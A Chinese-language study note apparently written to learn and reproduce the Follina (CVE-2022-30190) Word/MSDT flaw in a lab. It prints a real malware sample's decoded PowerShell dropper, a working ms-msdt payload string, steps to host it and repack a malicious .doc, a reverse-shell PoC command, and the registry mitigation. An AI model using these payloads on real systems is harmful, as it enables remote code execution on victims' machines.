https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。
意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的 MS-MSDT URI 协议方案来加载其他代码并执行 PowerShell 代码
与其他的漏洞不同,要利用此漏洞,攻击者只需要用户打开恶意文档即可,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码
我在ANY.RUN上下载了样例和漏洞代码来进行分析
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
这是一个交互式恶意软件分析沙箱,我做恶意软件分析常用的网站
我将样例放到linux机子上来进行分析,上面说过,这个漏洞是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码
我们使用unzip命令解压word文档,来分析这个xml文件
unzip 05-2022-0438.doc
漏洞利用就发生在这个xml文件里,我们打开分析
在这里对外部文件进行了引用,我们在ANY.RUN上查看这个被引用文件的源代码
该HTML文档以脚本标签开头,代码为
代码分析:
window.location.href:设置了一个窗口
ms-msdt:是windows的诊断工具
之后就是ms-msdt的一些参数,不重要
关键在于如下
关于上面很多的A字符,我在文章底部会说
他调用了powershell,执行的内容经过了base64加密,我们解密看看
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
启动隐藏窗口然后:
如果 msdt.exe 正在运行,则终止它
循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe
关键就在于这,windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞
漏洞利用的办法很简单,我们只需要修改一下这个xml文件,让他引用我们网站上的恶意代码就好了
这里我们弹一个计算器
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";
在 IT_BrowseForFile 参数的开头至少需要两次 /../ 目录遍历
包含在 $() 中的代码将通过 PowerShell 执行
.exe”必须是出现在 IT_BrowseForFile 参数末尾的最后一个字符串
然后将内容放入html文件里
注意,apache需要开启ssl,不然就无法成功复现
https://techexpert.tips/zh-hans/apache-zh-hans/%E5%9C%A8-apache-%E4%B8%8A%E5%90%AF%E7%94%A8-https/
开启apache服务后,将此文件放到网站根目录上
service apache2 start
cp RDF842l.html /var/www/html
然后将xml里的外部引用改成我们网站
修改好后,我们将解压再压缩回去
zip -r /home/kali/cve-2022-30190/shell.doc word/* _rels/* _rels/ _rels/.rels \[Content_Types\].xml
然后复制到目标靶机上双击执行
成功弹出计算器,上面说过,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码
我们将恶意文件另存为RTF文件
成功弹出计算器
poc下载:
https://github.com/JohnHammond/msdt-follina
输入以下参数可以获取shell
python3 follina.py -r 4444
他会在这个poc的目录里生成一个follina.doc文档,我们下载他,然后放到靶机上执行
成功拿到shell
运行cmd执行以下两条命令
reg export HKEY_CLASSES_ROOT\ms-msdt filename
reg delete HKEY_CLASSES_ROOT\ms-msdt /f
再次执行恶意文件
已无法弹出计算器
此文章是对该漏洞学习与分析的笔记,学到了很多,关于此漏洞,他和cve-2021-40444很像,网站脚本上的4096个A,其实是使windows诊断工具的缓冲区大小,我们正常运行的话,是需要我们输入密码的,如果超过了程序的缓冲区大小,就会执行微软发布的官方安全更新中的代码
之后有空就写一篇CVE-2021-40444的分析和复现